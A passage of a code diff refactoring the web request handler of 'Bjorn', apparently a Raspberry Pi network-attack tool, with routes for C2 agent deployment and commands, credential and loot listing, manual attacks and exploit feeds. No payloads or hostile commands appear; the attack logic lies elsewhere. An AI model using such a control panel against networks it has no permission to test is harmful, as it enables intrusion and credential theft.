Refactored to use dynamic routing maps and Pi Zero optimizations. """ - - # Routes definitions initialized in __init__ + + # Routes built ONCE at class level (shared across all requests — saves RAM) + _routes_initialized = False GET_ROUTES = {} - POST_ROUTES_JSON = {} + POST_ROUTES_JSON = {} # handlers that take (data) only + POST_ROUTES_JSON_H = {} # handlers that take (handler, data) — need the request handler POST_ROUTES_MULTIPART = {} def __init__(self, *args, **kwargs): self.shared_data = shared_data - self.web_utils = WebUtils(shared_data) - self._register_routes() + self.web_utils = web_utils_instance + if not CustomHandler._routes_initialized: + CustomHandler._register_routes_once() super().__init__(*args, **kwargs) - def _register_routes(self): - """Register all API routes to dictionaries for dynamic dispatch""" - + @classmethod + def _register_routes_once(cls): + """Register all API routes ONCE at class level. Never per-request.""" + if cls._routes_initialized: + return + + wu = web_utils_instance + debug_enabled = bool(shared_data.config.get("bjorn_debug_enabled", False)) + # --- GET ROUTES --- - self.GET_ROUTES = { + # All GET handlers receive (handler) at call time via do_GET dispatch + cls.GET_ROUTES = { # INDEX / DASHBOARD - '/api/bjorn/stats': self.web_utils.index_utils.dashboard_stats, - '/apple-touch-icon': self.web_utils.index_utils.serve_apple_touch_icon, - '/favicon.ico': self.web_utils.index_utils.serve_favicon, - '/manifest.json': self.web_utils.index_utils.serve_manifest, + '/api/bjorn/stats': wu.index_utils.dashboard_stats, + '/apple-touch-icon': wu.index_utils.serve_apple_touch_icon, + '/favicon.ico': wu.index_utils.serve_favicon, + '/manifest.json': wu.index_utils.serve_manifest, # C2 - '/c2/agents': self.web_utils.c2.c2_agents, - '/c2/events': self.web_utils.c2.c2_events_sse, - '/c2/list_clients': self.web_utils.c2.c2_list_clients, - '/c2/status': self.web_utils.c2.c2_status, + '/c2/agents': wu.c2.c2_agents, + '/c2/events': wu.c2.c2_events_sse, + '/c2/list_clients': wu.c2.c2_list_clients, + '/c2/status': wu.c2.c2_status, - # WEBENUM - # Note: '/api/webenum/results' is handled via startswith in do_GET + # WEBENUM (handled via startswith) # NETWORK - '/get_known_wifi': self.web_utils.network_utils.get_known_wifi, - '/scan_wifi': self.web_utils.network_utils.scan_wifi, - '/get_web_delay': self._serve_web_delay, + '/get_known_wifi': wu.network_utils.get_known_wifi, + '/scan_wifi': wu.network_utils.scan_wifi, + '/get_web_delay': '_serve_web_delay', # FILE - '/list_directories': self.web_utils.file_utils.list_directories, - '/loot_directories': self.web_utils.file_utils.loot_directories, - # '/download_file', '/list_files', '/loot_download' handled dynamically + '/list_directories': wu.file_utils.list_directories, + '/loot_directories': wu.file_utils.loot_directories, # BACKUP - '/check_update': self.web_utils.backup_utils.check_update, - # '/download_backup' handled dynamically + '/check_update': wu.backup_utils.check_update, # SYSTEM - '/bjorn_status': self.web_utils.system_utils.serve_bjorn_status, - '/load_config': self.web_utils.system_utils.serve_current_config, - '/get_logs': self.web_utils.system_utils.serve_logs, - '/stream_logs': self.web_utils.system_utils.sse_log_stream, - '/check_console_autostart': self.web_utils.system_utils.check_console_autostart, - '/check_manual_mode': self.web_utils.system_utils.check_manual_mode, - '/restore_default_config': self.web_utils.system_utils.restore_default_config, + '/bjorn_status': wu.system_utils.serve_bjorn_status, + '/load_config': wu.system_utils.serve_current_config, + '/get_logs': wu.system_utils.serve_logs, + '/stream_logs': wu.system_utils.sse_log_stream, + '/check_console_autostart': wu.system_utils.check_console_autostart, + '/check_manual_mode': wu.system_utils.check_manual_mode, + '/restore_default_config': wu.system_utils.restore_default_config, # BLUETOOTH - '/scan_bluetooth': self.web_utils.bluetooth_utils.scan_bluetooth, + '/scan_bluetooth': wu.bluetooth_utils.scan_bluetooth, + '/get_sections': wu.action_utils.get_sections, # SCRIPTS - '/get_running_scripts': self._serve_running_scripts, - '/list_scripts': self._serve_list_scripts, - '/get_action_args_schema': self._serve_action_args_schema, - # '/get_script_output' handled dynamically + '/get_running_scripts': '_serve_running_scripts', + '/list_scripts': '_serve_list_scripts', + '/get_action_args_schema': '_serve_action_args_schema', # ACTION / IMAGES / STUDIO - '/get_actions': self.web_utils.action_utils.get_actions, - '/list_static_images': self.web_utils.action_utils.list_static_images_with_dimensions, - '/list_characters': self.web_utils.action_utils.list_characters, - '/bjorn_say': getattr(self.web_utils.action_utils, 'serve_bjorn_say', None), - '/api/vulns/fix': self.web_utils.vuln_utils.fix_vulns_data, - '/api/vulns/stats': self.web_utils.vuln_utils.serve_vulns_stats, - '/api/studio/actions_db': self.web_utils.studio_utils.studio_get_actions_db, - '/api/studio/actions_studio': self.web_utils.studio_utils.studio_get_actions_studio, - '/api/studio/edges': self.web_utils.studio_utils.studio_get_edges, - # '/api/studio/hosts' handled dynamically - + '/get_actions': wu.action_utils.get_actions, + '/list_static_images': wu.action_utils.list_static_images_with_dimensions, + '/list_web_images': wu.action_utils.list_web_images_with_dimensions, + '/list_actions_icons': wu.action_utils.list_actions_icons_with_dimensions, + '/list_characters': wu.action_utils.list_characters, + '/bjorn_say': getattr(wu.action_utils, 'serve_bjorn_say', None), + '/api/vulns/fix': wu.vuln_utils.fix_vulns_data, + '/api/vulns/stats': wu.vuln_utils.serve_vulns_stats, + '/api/feeds/status': wu.vuln_utils.serve_feed_status, + '/api/studio/actions_db': wu.studio_utils.studio_get_actions_db, + '/api/studio/actions_studio': wu.studio_utils.studio_get_actions_studio, + '/api/studio/edges': wu.studio_utils.studio_get_edges, + # DB & NETKB - '/api/db/catalog': self.web_utils.db_utils.db_catalog_endpoint, - '/api/db/export_all': self.web_utils.db_utils.db_export_all_endpoint, - '/api/db/tables': self.web_utils.db_utils.db_list_tables_endpoint, - '/netkb_data': self.web_utils.netkb_utils.serve_netkb_data, - '/netkb_data_json': self.web_utils.netkb_utils.serve_netkb_data_json, - '/network_data': self.web_utils.netkb_utils.serve_network_data, - '/list_credentials': self.web_utils.orchestrator_utils.serve_credentials_data, + '/api/db/catalog': wu.db_utils.db_catalog_endpoint, + '/api/db/export_all': wu.db_utils.db_export_all_endpoint, + '/api/db/tables': wu.db_utils.db_list_tables_endpoint, + '/netkb_data': wu.netkb_utils.serve_netkb_data, + '/netkb_data_json': wu.netkb_utils.serve_netkb_data_json, + '/network_data': wu.netkb_utils.serve_network_data, + '/list_credentials': wu.orchestrator_utils.serve_credentials_data, + + # AI / RL + '/api/rl/stats': wu.rl.get_stats, + '/api/rl/history': wu.rl.get_training_history, + '/api/rl/experiences': wu.rl.get_recent_experiences, } + if debug_enabled: + cls.GET_ROUTES.update({ + '/api/debug/snapshot': wu.debug_utils.get_snapshot, + '/api/debug/history': wu.debug_utils.get_history, + '/api/debug/gc': wu.debug_utils.get_gc_stats, + }) + # --- POST ROUTES (MULTIPART) --- - self.POST_ROUTES_MULTIPART = { - '/action/create': self.web_utils.action_utils.create_action, - '/replace_image': self.web_utils.action_utils.replace_image, - '/resize_images': self.web_utils.action_utils.resize_images, - '/restore_default_images': self.web_utils.action_utils.restore_default_images, - '/delete_images': self.web_utils.action_utils.delete_images, - '/upload_static_image': self.web_utils.action_utils.upload_static_image, - '/upload_status_icon': self.web_utils.action_utils.upload_status_image, - '/upload_status_image': self.web_utils.action_utils.upload_status_image, - '/upload_character_images': self.web_utils.action_utils.upload_character_images, - '/upload_files': self.web_utils.file_utils.handle_file_upload, - '/upload_project': self.web_utils.script_utils.upload_project, - '/upload_script': self.web_utils.script_utils.upload_script, - '/clear_actions_file': self.web_utils.system_utils.clear_actions_file, - '/clear_livestatus': self.web_utils.system_utils.clear_livestatus, - '/clear_logs': self.web_utils.system_utils.clear_logs, - '/clear_netkb': self.web_utils.system_utils.clear_netkb, - '/clear_output_folder': self.web_utils.file_utils.clear_output_folder, - '/erase_bjorn_memories': self.web_utils.system_utils.erase_bjorn_memories, - '/create_preconfigured_file': self.web_utils.network_utils.create_preconfigured_file, - '/delete_preconfigured_file': self.web_utils.network_utils.delete_preconfigured_file, - '/clear_shared_config_json': self.web_utils.index_utils.clear_shared_config_json, - '/reload_generate_actions_json': self.web_utils.index_utils.reload_generate_actions_json, + cls.POST_ROUTES_MULTIPART = { + '/action/create': wu.action_utils.create_action, + '/add_attack': wu.action_utils.add_attack, + '/replace_image': wu.action_utils.replace_image, + '/resize_images': wu.action_utils.resize_images, + '/restore_default_images': wu.action_utils.restore_default_images, + '/delete_images': wu.action_utils.delete_images, + '/upload_static_image': wu.action_utils.upload_static_image, + '/upload_status_icon': wu.action_utils.upload_status_image, + '/upload_status_image': wu.action_utils.upload_status_image, + '/upload_character_images': wu.action_utils.upload_character_images, + '/upload_web_image': wu.action_utils.upload_web_image, + '/upload_actions_icon': wu.action_utils.upload_actions_icon, + '/upload_files': wu.file_utils.handle_file_upload, + '/upload_project': wu.script_utils.upload_project, + '/upload_script': wu.script_utils.upload_script, + '/clear_actions_file': wu.system_utils.clear_actions_file, + '/clear_livestatus': wu.system_utils.clear_livestatus, + '/clear_logs': wu.system_utils.clear_logs, + '/clear_netkb': wu.system_utils.clear_netkb, + '/erase_bjorn_memories': wu.system_utils.erase_bjorn_memories, + '/create_preconfigured_file': wu.network_utils.create_preconfigured_file, + '/delete_preconfigured_file': wu.network_utils.delete_preconfigured_file, + '/clear_shared_config_json': wu.index_utils.clear_shared_config_json, + '/reload_generate_actions_json': wu.index_utils.reload_generate_actions_json, } - # --- POST ROUTES (JSON) --- - # Note: Using lambda wrappers to normalize arguments if needed - self.POST_ROUTES_JSON = { - # INDEX - '/api/bjorn/config': lambda d: self.web_utils.index_utils.set_config(self, d), - '/api/bjorn/vulns/baseline': lambda d: self.web_utils.index_utils.mark_vuln_scan_baseline(self, d), - # C2 - '/c2/broadcast': lambda d: self.web_utils.c2.c2_broadcast(self, d), - '/c2/command': lambda d: self.web_utils.c2.c2_command(self, d), - '/c2/deploy': lambda d: self.web_utils.c2.c2_deploy(self, d), - '/c2/generate_client': lambda d: self.web_utils.c2.c2_generate_client(self, d), - '/c2/purge_agents': lambda d: self.web_utils.c2.c2_purge_agents(self, d), - '/c2/remove_client': lambda d: self.web_utils.c2.c2_remove_client(self, d), - '/c2/start': lambda d: self.web_utils.c2.c2_start(self, d), - '/c2/stop': lambda d: self.web_utils.c2.c2_stop(self, d), + # --- POST ROUTES (JSON) — data-only handlers: fn(data) --- + cls.POST_ROUTES_JSON = { # WEBENUM - '/api/webenum/import': self.web_utils.webenum_utils.import_webenum_results, # NETWORK - '/connect_known_wifi': lambda d: (self.web_utils.network_utils.connect_known_wifi(d), setattr(self.shared_data, 'wifichanged', True))[0], - '/connect_wifi': lambda d: (self.web_utils.network_utils.connect_wifi(d), setattr(self.shared_data, 'wifichanged', True))[0], - '/delete_known_wifi': self.web_utils.network_utils.delete_known_wifi, - '/update_wifi_priority': self.web_utils.network_utils.update_wifi_priority, - '/import_potfiles': self.web_utils.network_utils.import_potfiles, + '/connect_known_wifi': lambda d: (wu.network_utils.connect_known_wifi(d), setattr(shared_data, 'wifichanged', True))[0], + '/connect_wifi': lambda d: (wu.network_utils.connect_wifi(d), setattr(shared_data, 'wifichanged', True))[0], + '/delete_known_wifi': wu.network_utils.delete_known_wifi, + '/update_wifi_priority': wu.network_utils.update_wifi_priority, + '/import_potfiles': wu.network_utils.import_potfiles, # FILE - '/create_folder': self.web_utils.file_utils.create_folder, - '/delete_file': self.web_utils.file_utils.delete_file, - '/duplicate_file': self.web_utils.file_utils.duplicate_file, - '/move_file': self.web_utils.file_utils.move_file, - '/rename_file': self.web_utils.file_utils.rename_file, + '/create_folder': wu.file_utils.create_folder, + '/delete_file': wu.file_utils.delete_file, + '/duplicate_file': wu.file_utils.duplicate_file, + '/move_file': wu.file_utils.move_file, + '/rename_file': wu.file_utils.rename_file, + '/clear_output_folder': wu.file_utils.clear_output_folder, # BACKUP - '/create_backup': self.web_utils.backup_utils.create_backup, - '/delete_backup': self.web_utils.backup_utils.delete_backup, - '/list_backups': self.web_utils.backup_utils.list_backups, - '/restore_backup': self.web_utils.backup_utils.restore_backup, - '/set_default_backup': self.web_utils.backup_utils.set_default_backup, - '/update_application': self.web_utils.backup_utils.update_application, + '/create_backup': wu.backup_utils.create_backup, + '/delete_backup': wu.backup_utils.delete_backup, + '/list_backups': wu.backup_utils.list_backups, + '/restore_backup': wu.backup_utils.restore_backup, + '/set_default_backup': wu.backup_utils.set_default_backup, + '/update_application': wu.backup_utils.update_application, # SYSTEM - '/initialize_csv': self.web_utils.system_utils.initialize_db, - '/restart_bjorn_service': lambda _: self.web_utils.system_utils.restart_bjorn_service(self), - '/restore_default_config': self.web_utils.system_utils.restore_default_config, - '/save_config': self.web_utils.system_utils.save_configuration, - 'reboot': self.web_utils.system_utils.reboot_system, - 'shutdown': self.web_utils.system_utils.shutdown_system, + '/save_config': wu.system_utils.save_configuration, # BLUETOOTH - '/connect_bluetooth': lambda d: self.web_utils.bluetooth_utils.connect_bluetooth(d.get('address')), - '/disconnect_bluetooth': lambda d: self.web_utils.bluetooth_utils.disconnect_bluetooth(d.get('address')), - '/forget_bluetooth': lambda d: self.web_utils.bluetooth_utils.forget_bluetooth(d.get('address')), - '/pair_bluetooth': lambda d: self.web_utils.bluetooth_utils.pair_bluetooth(d.get('address'), d.get('pin')), - '/trust_bluetooth': lambda d: self.web_utils.bluetooth_utils.trust_bluetooth(d.get('address')), + '/connect_bluetooth': lambda d: wu.bluetooth_utils.connect_bluetooth(d.get('address')), + '/disconnect_bluetooth': lambda d: wu.bluetooth_utils.disconnect_bluetooth(d.get('address')), + '/forget_bluetooth': lambda d: wu.bluetooth_utils.forget_bluetooth(d.get('address')), + '/pair_bluetooth': lambda d: wu.bluetooth_utils.pair_bluetooth(d.get('address'), d.get('pin')), + '/trust_bluetooth': lambda d: wu.bluetooth_utils.trust_bluetooth(d.get('address')), # SCRIPTS - '/clear_script_output': self.web_utils.script_utils.clear_script_output, - '/delete_script': self.web_utils.script_utils.delete_script, - '/export_script_logs': self.web_utils.script_utils.export_script_logs, - '/get_script_output': self.web_utils.script_utils.get_script_output, - '/run_script': self.web_utils.script_utils.run_script, - '/stop_script': self.web_utils.script_utils.stop_script, + '/clear_script_output': wu.script_utils.clear_script_output, + '/delete_script': wu.script_utils.delete_script, + '/export_script_logs': wu.script_utils.export_script_logs, + '/get_script_output': wu.script_utils.get_script_output, + '/run_script': wu.script_utils.run_script, + '/stop_script': wu.script_utils.stop_script, # CHARACTERS - '/create_character': self.web_utils.action_utils.create_character, - '/switch_character': self.web_utils.action_utils.switch_character, - '/delete_character': self.web_utils.action_utils.delete_character, - '/reload_fonts': getattr(self.web_utils.action_utils, 'reload_fonts', None), - '/reload_images': getattr(self.web_utils.action_utils, 'reload_images', None), + '/reload_fonts': getattr(wu.action_utils, 'reload_fonts', None), + '/reload_images': getattr(wu.action_utils, 'reload_images', None), # COMMENTS - '/delete_comment_section': self.web_utils.action_utils.delete_comment_section, - '/restore_default_comments': self.web_utils.action_utils.restore_default_comments, - '/save_comments': self.web_utils.action_utils.save_comments, + '/delete_comment_section': wu.action_utils.delete_comment_section, + '/restore_default_comments': wu.action_utils.restore_default_comments, + '/save_comments': wu.action_utils.save_comments, # ATTACKS - '/add_attack': self.web_utils.action_utils.add_attack, - '/remove_attack': self.web_utils.action_utils.remove_attack, - '/restore_attack': self.web_utils.action_utils.restore_attack, - '/save_attack': self.web_utils.action_utils.save_attack, - # VULN - '/api/cve/bulk': lambda d: (self.web_utils.vuln_utils.serve_cve_bulk(self, d) or {"status": "ok"}), # STUDIO - '/api/studio/action/replace': lambda d: self.web_utils.studio_utils.studio_replace_actions_with_db(), - '/api/studio/action/update': self.web_utils.studio_utils.studio_update_action, - '/api/studio/actions/sync': lambda d: self.web_utils.studio_utils.studio_sync_actions_studio(), - '/api/studio/apply': lambda d: self.web_utils.studio_utils.studio_apply_to_runtime(), - '/api/studio/edge/delete': self.web_utils.studio_utils.studio_delete_edge, - '/api/studio/edge/upsert': self.web_utils.studio_utils.studio_upsert_edge, - '/api/studio/host': self.web_utils.studio_utils.studio_upsert_host_flat, - '/api/studio/host/delete': self.web_utils.studio_utils.studio_delete_host, - '/api/studio/save': self.web_utils.studio_utils.studio_save_bundle, - # DB - '/api/db/add_column': lambda d: self.web_utils.db_utils.db_add_column_endpoint(self, d), - '/api/db/create_table': lambda d: self.web_utils.db_utils.db_create_table_endpoint(self, d), - '/api/db/delete': lambda d: self.web_utils.db_utils.db_delete_rows_endpoint(self, d), - '/api/db/insert': lambda d: self.web_utils.db_utils.db_insert_row_endpoint(self, d), - '/api/db/rename_table': lambda d: self.web_utils.db_utils.db_rename_table_endpoint(self, d), - '/api/db/update': lambda d: self.web_utils.db_utils.db_update_cells_endpoint(self, d), - '/api/db/vacuum': lambda d: self.web_utils.db_utils.db_vacuum_endpoint(self), + '/api/studio/action/replace': lambda d: wu.studio_utils.studio_replace_actions_with_db(), + '/api/studio/action/update': wu.studio_utils.studio_update_action, + '/api/studio/actions/sync': lambda d: wu.studio_utils.studio_sync_actions_studio(), + '/api/studio/apply': lambda d: wu.studio_utils.studio_apply_to_runtime(), + '/api/studio/edge/delete': wu.studio_utils.studio_delete_edge, + '/api/studio/edge/upsert': wu.studio_utils.studio_upsert_edge, + '/api/studio/host': wu.studio_utils.studio_upsert_host_flat, + '/api/studio/host/delete': wu.studio_utils.studio_delete_host, + '/api/studio/save': wu.studio_utils.studio_save_bundle, # ACTION - '/action/delete': self.web_utils.action_utils.delete_action, - '/actions/restore_defaults': self.web_utils.action_utils.restore_defaults, # NETKB - '/delete_all_actions': self.web_utils.netkb_utils.delete_all_actions, - '/delete_netkb_action': self.web_utils.netkb_utils.delete_netkb_action, + '/delete_all_actions': wu.netkb_utils.delete_all_actions, + '/delete_netkb_action': wu.netkb_utils.delete_netkb_action, # ORCHESTRATOR - '/manual_attack': self.web_utils.orchestrator_utils.execute_manual_attack, - '/manual_scan': lambda d: self.web_utils.orchestrator_utils.execute_manual_scan(), - '/start_orchestrator': lambda _: self.web_utils.orchestrator_utils.start_orchestrator(), - '/stop_orchestrator': lambda _: self.web_utils.orchestrator_utils.stop_orchestrator(), + '/manual_attack': wu.orchestrator_utils.execute_manual_attack, + '/manual_scan': lambda d: wu.orchestrator_utils.execute_manual_scan(), + '/start_orchestrator': lambda _: wu.orchestrator_utils.start_orchestrator(), + '/stop_orchestrator': lambda _: wu.orchestrator_utils.stop_orchestrator(), } + if debug_enabled: + cls.POST_ROUTES_JSON.update({ + '/api/debug/tracemalloc': wu.debug_utils.toggle_tracemalloc, + '/api/debug/gc/collect': wu.debug_utils.force_gc, + }) + + # --- POST ROUTES (JSON) — handler-aware: fn(handler, data) --- + # These need the per-request handler instance (for send_response etc.) + cls.POST_ROUTES_JSON_H = { + '/api/bjorn/config': lambda h, d: wu.index_utils.set_config(h, d), + '/api/bjorn/vulns/baseline': lambda h, _: wu.index_utils.mark_vuln_scan_baseline(h), + '/api/rl/config': lambda h, d: wu.rl.set_mode(h, d), + '/api/webenum/import': lambda h, d: wu.webenum_utils.import_webenum_results(h, d), + # C2 + '/c2/broadcast': lambda h, d: wu.c2.c2_broadcast(h, d), + '/c2/command': lambda h, d: wu.c2.c2_command(h, d), + '/c2/deploy': lambda h, d: wu.c2.c2_deploy(h, d), + '/c2/generate_client': lambda h, d: wu.c2.c2_generate_client(h, d), + '/c2/purge_agents': lambda h, d: wu.c2.c2_purge_agents(h, d), + '/c2/remove_client': lambda h, d: wu.c2.c2_remove_client(h, d), + '/c2/start': lambda h, d: wu.c2.c2_start(h, d), + '/c2/stop': lambda h, d: wu.c2.c2_stop(h, d), + # SYSTEM (need handler for response) + '/restart_bjorn_service': lambda h, _: wu.system_utils.restart_bjorn_service(h), + '/reboot_system': lambda h, _: wu.system_utils.reboot_system(h), + '/shutdown_system': lambda h, _: wu.system_utils.shutdown_system(h), + '/initialize_csv': lambda h, _: wu.system_utils.initialize_db(h), + '/restore_default_config': lambda h, _: wu.system_utils.restore_default_config(h), + # VULN + '/api/cve/bulk': lambda h, d: (wu.vuln_utils.serve_cve_bulk(h, d) or {"status": "ok"}), + '/api/cve/bulk_exploits': lambda h, d: wu.vuln_utils.serve_cve_bulk(h, d), # legacy alias + '/api/feeds/sync': lambda h, _: wu.vuln_utils.serve_feed_sync(h), + # DB (need handler for response) + '/api/db/add_column': lambda h, d: wu.db_utils.db_add_column_endpoint(h, d), + '/api/db/create_table': lambda h, d: wu.db_utils.db_create_table_endpoint(h, d), + '/api/db/delete': lambda h, d: wu.db_utils.db_delete_rows_endpoint(h, d), + '/api/db/insert': lambda h, d: wu.db_utils.db_insert_row_endpoint(h, d), + '/api/db/rename_table': lambda h, d: wu.db_utils.db_rename_table_endpoint(h, d), + '/api/db/update': lambda h, d: wu.db_utils.db_update_cells_endpoint(h, d), + '/api/db/vacuum': lambda h, _: wu.db_utils.db_vacuum_endpoint(h), + # ACTION + '/create_character': lambda h, d: wu.action_utils.create_character(h, d), + '/switch_character': lambda h, d: wu.action_utils.switch_character(h, d), + '/delete_character': lambda h, d: wu.action_utils.delete_character(h, d), + '/rename_image': lambda h, d: wu.action_utils.rename_image(h, d), + '/remove_attack': lambda h, d: wu.action_utils.remove_attack(h, d), + '/restore_attack': lambda h, d: wu.action_utils.restore_attack(h, d), + '/save_attack': lambda h, d: wu.action_utils.save_attack(h, d), + '/action/delete': lambda h, d: wu.action_utils.delete_action(h, d), + '/actions/restore_defaults': lambda h, _: wu.action_utils.restore_defaults(h), + '/actions/set_enabled': lambda h, d: wu.action_utils.set_action_enabled(h, d), + # Legacy aliases + 'reboot': lambda h, _: wu.system_utils.reboot_system(h), + 'shutdown': lambda h, _: wu.system_utils.shutdown_system(h), + } + + cls._routes_initialized = True + if debug_enabled: + logger.info("Routes registered (once). Bjorn Debug API enabled.") + else: + logger.info("Routes registered (once). Bjorn Debug API disabled.") + # ------------------------------------------------------------------------ # HELPER HANDLERS # ------------------------------------------------------------------------ def _serve_web_delay(self, handler): - handler.send_response(200) - handler.send_header("Content-type", "application/json") - handler.end_headers() - response = json.dumps({"web_delay": self.shared_data.web_delay}) - handler.wfile.write(response.encode('utf-8')) + self._send_json({"web_delay": self.shared_data.web_delay}) def _serve_running_scripts(self, handler): - response = self.web_utils.script_utils.get_running_scripts() - self._send_json(response, status=200) + self._send_json(self.web_utils.script_utils.get_running_scripts()) def _serve_list_scripts(self, handler): - response = self.web_utils.script_utils.list_scripts() - self._send_json(response, status=200) + self._send_json(self.web_utils.script_utils.list_scripts()) def _serve_action_args_schema(self, handler): from urllib.parse import parse_qs, urlparse query = parse_qs(urlparse(self.path).query) action_name = query.get('action_name', [''])[0] - response = self.web_utils.script_utils.get_action_args_schema({"action_name": action_name}) - self._send_json(response, status=200) + self._send_json(self.web_utils.script_utils.get_action_args_schema({"action_name": action_name})) def _send_json(self, data, status=200): self.send_response(status) @@ -288,13 +335,11 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): self.end_headers() self.wfile.write(json.dumps(data).encode('utf-8')) - # ... [Authentication helpers same as before] ... + # ... [Authentication helpers] ... def delete_cookie(self, key, path='/'): - """Delete a cookie by setting max-age to 0.""" self.set_cookie(key, '', path=path, max_age=0) def get_cookie(self, key): - """Retrieve the value of a specific cookie from request headers.""" if "Cookie" in self.headers: cookie = cookies.SimpleCookie(self.headers["Cookie"]) if key in cookie: @@ -314,7 +359,7 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): cookie[key]['max-age'] = max_age self.send_header('Set-Cookie', cookie.output(header='', sep='')) - # ... [Compression helpers same as before] ... + # ... [Compression helpers] ... def gzip_encode(self, content): out = io.BytesIO() with gzip.GzipFile(fileobj=out, mode="w") as f: @@ -331,19 +376,24 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): self.wfile.write(gzipped_content) def serve_file_gzipped(self, file_path, content_type): - with open(file_path, 'rb') as file: - content = file.read() - self.send_gzipped_response(content, content_type) + if os.path.exists(file_path): + with open(file_path, 'rb') as file: + content = file.read() + self.send_gzipped_response(content, content_type) + else: + self.send_error(404) - # ... [Login/Logout handlers same as before] ... + # ... [Login/Logout handlers] ... def handle_login(self): if not self.shared_data.webauth: - self.send_response(302) - self.send_header('Location', '/') - self.end_headers() - return + self.send_response(302); self.send_header('Location', '/'); self.end_headers(); return content_length = int(self.headers.get('Content-Length', 0)) + # Protect against large POST payloads on login + if content_length > MAX_POST_SIZE: + self.send_error(413) + return + post_data = self.rfile.read(content_length).decode('utf-8') params = urllib.parse.parse_qs(post_data) @@ -357,10 +407,7 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): expected_pass = auth_config['password'] except Exception as e: logger.error(f"Error loading webapp.json: {e}") - self.send_response(500) - self.send_header('Content-type', 'text/html') - self.end_headers() - self.wfile.write(b'Server Error') + self.send_error(500) return if username == expected_user and password == expected_pass: @@ -384,43 +431,60 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): self.send_header('Location', '/') self.end_headers() else: - self.send_response(401) - self.send_header('Content-type', 'text/html') - self.end_headers() - self.wfile.write(b'Unauthorized') + self.send_error(401, "Unauthorized") def handle_logout(self): if not self.shared_data.webauth: - self.send_response(302) - self.send_header('Location', '/') - self.end_headers() - return - + self.send_response(302); self.send_header('Location', '/'); self.end_headers(); return self.send_response(302) self.delete_cookie('authenticated') self.send_header('Location', '/login.html') self.end_headers() def serve_login_page(self): - try: - with open(self.shared_data.webapp_json, 'r') as f: - config = json.load(f) - always_auth = config.get('always_require_auth', False) - - with open(os.path.join(self.shared_data.web_dir, 'login.html'), 'r') as f: - content = f.read() - if always_auth: - content = content.replace('name="alwaysAuth"', 'name="alwaysAuth" checked') - self.send_gzipped_response(content.encode(), 'text/html') - except Exception as e: - logger.error(f"Error handling login page: {e}") - login_page_path = os.path.join(self.shared_data.web_dir, 'login.html') - self.serve_file_gzipped(login_page_path, 'text/html') - + login_page_path = os.path.join(self.shared_data.web_dir, 'login.html') + self.serve_file_gzipped(login_page_path, 'text/html') + def log_message(self, format, *args): - if 'GET' not in format % args: - logger.info("%s - - [%s] %s\n" % (self.client_address[0], self.log_date_time_string(), format % args)) + """ + Intercepte et filtre les logs du serveur web. + On supprime les requêtes répétitives qui polluent les logs. + """ + # [infinition] Check if web logging is enabled in config + if not self.shared_data.config.get("web_logging_enabled", False): + return + msg = format % args + + # Liste des requêtes "bruyantes" à ne pas afficher dans les logs + # Tu peux ajouter ici tout ce que tu veux masquer + silent_routes = [ + "/api/bjorn/stats", + "/bjorn_status", + "/bjorn_status_image", + "/bjorn_character", + "/bjorn_say", + "/netkb_data", + "/web/screen.png", + "/action_queue", + "/api/rl/stats", + "/api/rl/config", + "/api/rl/experiences", + "/api/rl/history" + "" + ] + + # Si l'une des routes silencieuses est dans le message, on quitte la fonction sans rien écrire + if any(route in msg for route in silent_routes): + return + + # Pour tout le reste (erreurs, connexions, changements de config), on loggue normalement + logger.info("%s - [%s] %s" % ( + self.client_address[0], + self.log_date_time_string(), + msg + )) + # ------------------------------------------------------------------------ # DELETE REQUEST HANDLER # ------------------------------------------------------------------------ @@ -449,23 +513,65 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): # GET REQUEST HANDLER # ------------------------------------------------------------------------ def do_GET(self): + # Clean path for routing (strip query string) + path_clean = self.path.split('?')[0] + + legacy_page_redirects = { + '/index.html': '/#/dashboard', + '/bjorn.html': '/#/bjorn', + '/netkb.html': '/#/netkb', + '/network.html': '/#/network', + '/credentials.html': '/#/credentials', + '/vulnerabilities.html': '/#/vulnerabilities', + '/attacks.html': '/#/attacks', + '/scheduler.html': '/#/scheduler', + '/database.html': '/#/database', + '/files_explorer.html': '/#/files', + '/loot.html': '/#/loot', + '/actions_launcher.html': '/#/actions', + '/actions_studio.html': '/#/actions-studio', + '/backup_update.html': '/#/backup', + '/web_enum.html': '/#/web-enum', + '/zombieland.html': '/#/zombieland', + } + + if path_clean in legacy_page_redirects: + self.send_response(302) + self.send_header('Location', legacy_page_redirects[path_clean]) + self.end_headers() + return + # Public assets public_paths = [ '/apple-touch-icon', '/favicon.ico', '/manifest.json', '/static/', '/web/css/', '/web/images/', '/web/js/', + '/web/i18n/', + '/web_old/', ] if self.shared_data.webauth: public_paths.extend(['/login', '/login.html', '/logout']) # Bypass auth for public paths - if any(self.path.startswith(p) for p in public_paths): + if any(path_clean.startswith(p) for p in public_paths): if self.shared_data.webauth: - if self.path in ['/login', '/login.html']: + if path_clean in ['/login', '/login.html']: self.serve_login_page() return - elif self.path == '/logout': + elif path_clean == '/logout': self.handle_logout() return + + # Serve legacy files from an absolute path (independent of process CWD) + if path_clean.startswith('/web_old/'): + rel = path_clean.lstrip('/') + file_path = os.path.join(self.shared_data.current_dir, rel) + if os.path.isfile(file_path): + content_type = self.guess_type(file_path) or 'application/octet-stream' + self.serve_file_gzipped(file_path, content_type) + return + self.send_error(404, "File not found.") + return + super().do_GET() return @@ -476,48 +582,22 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): self.end_headers() return - # HTML Pages - html_pages = { - '/': 'index.html', - '/actions.html': 'actions.html', - '/actions_launcher.html': 'actions_launcher.html', - '/actions_studio.html': 'actions_studio.html', - '/backup_update.html': 'backup_update.html', - '/bjorn.html': 'bjorn.html', - '/comments.html': 'comments.html', - '/config.html': 'config.html', - '/credentials.html': 'credentials.html', - '/database.html': 'database.html', - '/files_explorer.html': 'files_explorer.html', - '/index.html': 'index.html', - '/loot.html': 'loot.html', - '/manual.html': 'manual.html', - '/netkb.html': 'netkb.html', - '/network.html': 'network.html', - '/scheduler.html': 'scheduler.html', - '/status_images.html': 'status_images.html', - '/web_enum.html': 'web_enum.html', - '/zombieland.html': 'zombieland.html', - } - - path_clean = self.path.split('?')[0] - if path_clean in html_pages: - self.serve_file_gzipped(os.path.join(self.shared_data.web_dir, html_pages[path_clean]), 'text/html') - return - - if self.path == '/vulnerabilities.html': - 